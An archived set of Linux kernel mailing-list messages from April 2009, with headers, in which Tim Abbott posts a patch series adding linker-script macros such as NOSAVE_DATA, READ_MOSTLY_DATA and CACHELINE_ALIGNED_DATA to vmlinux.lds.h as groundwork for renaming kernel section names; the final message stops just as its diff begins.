NNTP-Posting-Date: Thu, 30 Apr 2009 19:36:45 +0000 (UTC)
Cc: Anders Kaseorg <andersk@mit.edu>, Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	"H. Peter Anvin" <hpa@zytor.com>, Ingo Molnar <mingo@redhat.com>,
	Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-alpha@vger.kernel.org
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Apr 30 21:36:27 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lzc3W-0004CH-It
	for sgi-linux-mips@gmane.org; Thu, 30 Apr 2009 21:36:26 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:45947 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20026686AbZD3TgX (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Thu, 30 Apr 2009 20:36:23 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 30 Apr 2009 20:36:05 +0100 (BST)
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:56574 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by ftp.linux-mips.org with ESMTP id S20026691AbZD3Tfq (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Thu, 30 Apr 2009 20:35:46 +0100
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UJWvD2029717;
	Thu, 30 Apr 2009 15:32:58 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UJWtLw002415;
	Thu, 30 Apr 2009 15:32:55 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
In-Reply-To: <1241119956-31453-2-git-send-email-tabbott@mit.edu>
X-Scanned-By: MIMEDefang 2.42
X-archive-position: 22557
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: tabbott@MIT.EDU
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23586 gmane.linux.ports.alpha:504 gmane.linux.ports.arm.kernel:57228 gmane.linux.ports.ia64:20304 gmane.linux.ports.m68k:676 gmane.linux.ports.parisc:1583 gmane.linux.ports.ppc64.devel:55675 gmane.linux.ports.sh.devel:5847 gmane.linux.uclinux.microblaze:8569 gmane.linux.ports.sparc:11534 gmane.linux.hardware.blackfin.kernel.devel:1345 gmane.linux.uml.devel:12169
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1583>

This patch is preparation for replacing most ".data.nosave" in the
kernel with macros, so that the section name can later be changed
without having to touch a lot of the kernel.

The long-term goal here is to be able to change the kernel's magic
section names to those that are compatible with -ffunction-sections
-fdata-sections.  This requires renaming all magic sections with names
of the form ".data.foo".

Signed-off-by: Tim Abbott <tabbott@mit.edu>
Cc: Sam Ravnborg <sam@ravnborg.org>
---
 include/asm-generic/vmlinux.lds.h |    7 +++++++
 1 files changed, 7 insertions(+), 0 deletions(-)

diff --git a/include/asm-generic/vmlinux.lds.h b/include/asm-generic/vmlinux.lds.h
index 3d88c87..f5ebd2b 100644
--- a/include/asm-generic/vmlinux.lds.h
+++ b/include/asm-generic/vmlinux.lds.h
@@ -124,6 +124,13 @@
 	. = ALIGN(PAGE_SIZE);						\
 	*(.bss.page_aligned)
 
+#define NOSAVE_DATA							\
+	. = ALIGN(PAGE_SIZE);						\
+	__nosave_begin = .;						\
+	*(.data.nosave)							\
+	. = ALIGN(PAGE_SIZE);						\
+	__nosave_end = .;
+
 #define RO_DATA(align)							\
 	. = ALIGN((align));						\
 	.rodata           : AT(ADDR(.rodata) - LOAD_OFFSET) {		\
-- 
1.6.2.1




From - Thu Nov 08 21:04:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@MIT.EDU>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: [PATCH 5/6] Add new READ_MOSTLY_DATA(align) linker script macro.
Date: Thu, 30 Apr 2009 15:32:35 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <1241119956-31453-6-git-send-email-tabbott@mit.edu>
References: <1241119956-31453-1-git-send-email-tabbott@mit.edu>
 <1241119956-31453-2-git-send-email-tabbott@mit.edu>
 <1241119956-31453-3-git-send-email-tabbott@mit.edu>
 <1241119956-31453-4-git-send-email-tabbott@mit.edu>
 <1241119956-31453-5-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241120232 22774 80.91.229.12 (30 Apr 2009 19:37:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2009 19:37:12 +0000 (UTC)
Cc: Anders Kaseorg <andersk@mit.edu>, Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	"H. Peter Anvin" <hpa@zytor.com>, Ingo Molnar <mingo@redhat.com>,
	Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-alpha@vger.kernel.org
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Apr 30 21:36:54 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lzc3t-0004NF-Au
	for sgi-linux-mips@gmane.org; Thu, 30 Apr 2009 21:36:49 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:46215 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20026692AbZD3Tgs (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Thu, 30 Apr 2009 20:36:48 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 30 Apr 2009 20:36:31 +0100 (BST)
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:56900 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by ftp.linux-mips.org with ESMTP id S20023326AbZD3TgV (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Thu, 30 Apr 2009 20:36:21 +0100
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UJX6rO029830;
	Thu, 30 Apr 2009 15:33:06 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UJX3cW002480;
	Thu, 30 Apr 2009 15:33:04 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
In-Reply-To: <1241119956-31453-5-git-send-email-tabbott@mit.edu>
X-Scanned-By: MIMEDefang 2.42
X-archive-position: 22558
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: tabbott@MIT.EDU
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23587 gmane.linux.ports.alpha:505 gmane.linux.ports.arm.kernel:57229 gmane.linux.ports.ia64:20305 gmane.linux.ports.m68k:677 gmane.linux.ports.parisc:1584 gmane.linux.ports.ppc64.devel:55676 gmane.linux.ports.sh.devel:5848 gmane.linux.uclinux.microblaze:8570 gmane.linux.ports.sparc:11535 gmane.linux.hardware.blackfin.kernel.devel:1346 gmane.linux.uml.devel:12170
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1584>

This patch is preparation for replacing most ".data.read_mostly" in
the kernel with macros, so that the section name can later be changed
without having to touch a lot of the kernel.

The long-term goal here is to be able to change the kernel's magic
section names to those that are compatible with -ffunction-sections
-fdata-sections.  This requires renaming all magic sections with names
of the form ".data.foo".

Signed-off-by: Tim Abbott <tabbott@mit.edu>
Cc: Sam Ravnborg <sam@ravnborg.org>
---
 include/asm-generic/vmlinux.lds.h |    4 ++++
 1 files changed, 4 insertions(+), 0 deletions(-)

diff --git a/include/asm-generic/vmlinux.lds.h b/include/asm-generic/vmlinux.lds.h
index 4b020e8..a4b4f4a 100644
--- a/include/asm-generic/vmlinux.lds.h
+++ b/include/asm-generic/vmlinux.lds.h
@@ -139,6 +139,10 @@
 	. = ALIGN(alignment);						\
 	*(.data.init_task)
 
+#define READ_MOSTLY_DATA(alignment)					\
+	. = ALIGN(alignment);						\
+	*(.data.read_mostly)
+
 #define RO_DATA(align)							\
 	. = ALIGN((align));						\
 	.rodata           : AT(ADDR(.rodata) - LOAD_OFFSET) {		\
-- 
1.6.2.1




From - Thu Nov 08 21:04:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@MIT.EDU>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: [PATCH 3/6] Add new CACHELINE_ALIGNED_DATA linker script macro.
Date: Thu, 30 Apr 2009 15:32:33 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <1241119956-31453-4-git-send-email-tabbott@mit.edu>
References: <1241119956-31453-1-git-send-email-tabbott@mit.edu>
 <1241119956-31453-2-git-send-email-tabbott@mit.edu>
 <1241119956-31453-3-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241120284 22911 80.91.229.12 (30 Apr 2009 19:38:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2009 19:38:04 +0000 (UTC)
Cc: Anders Kaseorg <andersk@mit.edu>, Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	"H. Peter Anvin" <hpa@zytor.com>, Ingo Molnar <mingo@redhat.com>,
	Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-alpha@vger.kernel.org
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Apr 30 21:37:49 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lzc4q-0004l9-Pw
	for sgi-linux-mips@gmane.org; Thu, 30 Apr 2009 21:37:49 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:46420 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20024564AbZD3Thr (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Thu, 30 Apr 2009 20:37:47 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 30 Apr 2009 20:37:30 +0100 (BST)
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:57401 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by ftp.linux-mips.org with ESMTP id S20023930AbZD3ThY (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Thu, 30 Apr 2009 20:37:24 +0100
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UJX0AV029756;
	Thu, 30 Apr 2009 15:33:01 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UJWwFJ002428;
	Thu, 30 Apr 2009 15:32:58 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
In-Reply-To: <1241119956-31453-3-git-send-email-tabbott@mit.edu>
X-Scanned-By: MIMEDefang 2.42
X-archive-position: 22559
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: tabbott@MIT.EDU
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23588 gmane.linux.ports.alpha:506 gmane.linux.ports.arm.kernel:57230 gmane.linux.ports.ia64:20306 gmane.linux.ports.m68k:678 gmane.linux.ports.parisc:1585 gmane.linux.ports.ppc64.devel:55677 gmane.linux.ports.sh.devel:5849 gmane.linux.uclinux.microblaze:8571 gmane.linux.ports.sparc:11536 gmane.linux.hardware.blackfin.kernel.devel:1347 gmane.linux.uml.devel:12171
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1585>

This patch is preparation for replacing most ".data.cacheline_aligned"
in the kernel with macros, so that the section name can later be
changed without having to touch a lot of the kernel.

The long-term goal here is to be able to change the kernel's magic
section names to those that are compatible with -ffunction-sections
-fdata-sections.  This requires renaming all magic sections with names
of the form ".data.foo".

Signed-off-by: Tim Abbott <tabbott@mit.edu>
Cc: Sam Ravnborg <sam@ravnborg.org>
---
 include/asm-generic/vmlinux.lds.h |    4 ++++
 1 files changed, 4 insertions(+), 0 deletions(-)

diff --git a/include/asm-generic/vmlinux.lds.h b/include/asm-generic/vmlinux.lds.h
index f5ebd2b..fa7801b 100644
--- a/include/asm-generic/vmlinux.lds.h
+++ b/include/asm-generic/vmlinux.lds.h
@@ -131,6 +131,10 @@
 	. = ALIGN(PAGE_SIZE);						\
 	__nosave_end = .;
 
+#define CACHELINE_ALIGNED_DATA(alignment)				\
+	. = ALIGN(alignment);						\
+	*(.data.cacheline_aligned)
+
 #define RO_DATA(align)							\
 	. = ALIGN((align));						\
 	.rodata           : AT(ADDR(.rodata) - LOAD_OFFSET) {		\
-- 
1.6.2.1




From - Thu Nov 08 21:04:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@MIT.EDU>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: [PATCH 0/6] macros for section name cleanup
Date: Thu, 30 Apr 2009 15:32:30 -0400
Lines: 51
Approved: news@gmane.org
Message-ID: <1241119956-31453-1-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241120320 22983 80.91.229.12 (30 Apr 2009 19:38:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2009 19:38:40 +0000 (UTC)
Cc: Anders Kaseorg <andersk@mit.edu>, Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	"H. Peter Anvin" <hpa@zytor.com>, Ingo Molnar <mingo@redhat.com>,
	Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-alpha@vger.kernel.org
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Apr 30 21:38:25 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lzc5Q-0004l9-Uj
	for sgi-linux-mips@gmane.org; Thu, 30 Apr 2009 21:38:25 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:46593 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20026693AbZD3TiY (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Thu, 30 Apr 2009 20:38:24 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 30 Apr 2009 20:38:07 +0100 (BST)
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:57696 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by ftp.linux-mips.org with ESMTP id S20023930AbZD3TiB (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Thu, 30 Apr 2009 20:38:01 +0100
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UJWq51029598;
	Thu, 30 Apr 2009 15:32:52 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UJWa9e002278;
	Thu, 30 Apr 2009 15:32:37 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
X-Scanned-By: MIMEDefang 2.42
X-archive-position: 22560
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: tabbott@MIT.EDU
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23589 gmane.linux.ports.alpha:507 gmane.linux.ports.arm.kernel:57231 gmane.linux.ports.ia64:20307 gmane.linux.ports.m68k:679 gmane.linux.ports.parisc:1586 gmane.linux.ports.ppc64.devel:55678 gmane.linux.ports.sh.devel:5850 gmane.linux.uclinux.microblaze:8572 gmane.linux.ports.sparc:11537 gmane.linux.hardware.blackfin.kernel.devel:1348 gmane.linux.uml.devel:12172
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1586>

Here are the architecture-independent macro definitions needed for
to clean up the kernel's section names.  The overall diffstat from
this section name cleanup project is:

 96 files changed, 261 insertions(+), 503 deletions(-)

The decrease results from removing a lot of redundancy in the linker
scripts.

The long-term goal here is to add support for building the kernel with
-ffunction-sections -fdata-sections.  This requires renaming all the
magic section names in the kernel of the form .text.foo, .data.foo,
.bss.foo, and .rodata.foo to not have collisions with sections
generated for code like:

static int nosave = 0; /* -fdata-sections places in .data.nosave */
static void head(); /* -ffunction-sections places in .text.head */

Sam Ravnborg proposed that rather than just renaming all the sections
outright, we should start by first getting more control over the
section names used in the kernel so that we can later rename sections
without touching too many files.  These patch series implement that
cleanup.  Later, there will be another patch series to actually rename
the sections.

I'm hoping we can get just these macro definitions into 2.6.30 so that
the arch maintainers don't have to grab the macro definitions for
their trees while reviewing the patches for 2.6.31.

Shortly, I'm going to send one patch series for each of the
architectures updating those architectures to use these new macros
(and otherwise cleaning up section names on those architectures).

	-Tim Abbott

Tim Abbott (6):
  Add new macros for page-aligned data and bss sections.
  Add new NOSAVE_DATA linker script macro.
  Add new CACHELINE_ALIGNED_DATA linker script macro.
  Add new INIT_TASK_DATA() linker script macro.
  Add new READ_MOSTLY_DATA(align) linker script macro.
  Add support for __read_mostly to linux/cache.h

 include/asm-generic/vmlinux.lds.h |   27 +++++++++++++++++++++++++++
 include/linux/cache.h             |    6 ++++++
 include/linux/init_task.h         |    3 +++
 include/linux/linkage.h           |    9 +++++++++
 4 files changed, 45 insertions(+), 0 deletions(-)




From - Thu Nov 08 21:04:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@MIT.EDU>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: [PATCH 1/6] Add new macros for page-aligned data and bss sections.
Date: Thu, 30 Apr 2009 15:32:31 -0400
Lines: 62
Approved: news@gmane.org
Message-ID: <1241119956-31453-2-git-send-email-tabbott@mit.edu>
References: <1241119956-31453-1-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241120464 23409 80.91.229.12 (30 Apr 2009 19:41:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2009 19:41:04 +0000 (UTC)
Cc: Anders Kaseorg <andersk@mit.edu>, Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	"H. Peter Anvin" <hpa@zytor.com>, Ingo Molnar <mingo@redhat.com>,
	Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-alpha@vger.kernel.org
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Apr 30 21:40:48 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lzc7k-0004l9-FO
	for sgi-linux-mips@gmane.org; Thu, 30 Apr 2009 21:40:48 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:46707 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20026694AbZD3Tkr (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Thu, 30 Apr 2009 20:40:47 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 30 Apr 2009 20:40:29 +0100 (BST)
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:58765 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by ftp.linux-mips.org with ESMTP id S20023930AbZD3TkX (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Thu, 30 Apr 2009 20:40:23 +0100
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UJWtxc029674;
	Thu, 30 Apr 2009 15:32:55 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UJWqkJ002383;
	Thu, 30 Apr 2009 15:32:52 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
In-Reply-To: <1241119956-31453-1-git-send-email-tabbott@mit.edu>
X-Scanned-By: MIMEDefang 2.42
X-archive-position: 22561
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: tabbott@MIT.EDU
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23590 gmane.linux.ports.alpha:508 gmane.linux.ports.arm.kernel:57233 gmane.linux.ports.ia64:20308 gmane.linux.ports.m68k:680 gmane.linux.ports.parisc:1587 gmane.linux.ports.ppc64.devel:55679 gmane.linux.ports.sh.devel:5851 gmane.linux.uclinux.microblaze:8573 gmane.linux.ports.sparc:11538 gmane.linux.hardware.blackfin.kernel.devel:1349 gmane.linux.uml.devel:12173
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1587>

This patch is preparation for replacing most uses of
".bss.page_aligned" and ".data.page_aligned" in the kernel with
macros, so that the section name can later be changed without having
to touch a lot of the kernel.

The long-term goal here is to be able to change the kernel's magic
section names to those that are compatible with -ffunction-sections
-fdata-sections.  This requires renaming all magic sections with names
of the form ".data.foo".

Signed-off-by: Tim Abbott <tabbott@mit.edu>
Cc: Sam Ravnborg <sam@ravnborg.org>
Acked-by: David Howells <dhowells@redhat.com>
---
 include/asm-generic/vmlinux.lds.h |    8 ++++++++
 include/linux/linkage.h           |    9 +++++++++
 2 files changed, 17 insertions(+), 0 deletions(-)

diff --git a/include/asm-generic/vmlinux.lds.h b/include/asm-generic/vmlinux.lds.h
index 89853bc..3d88c87 100644
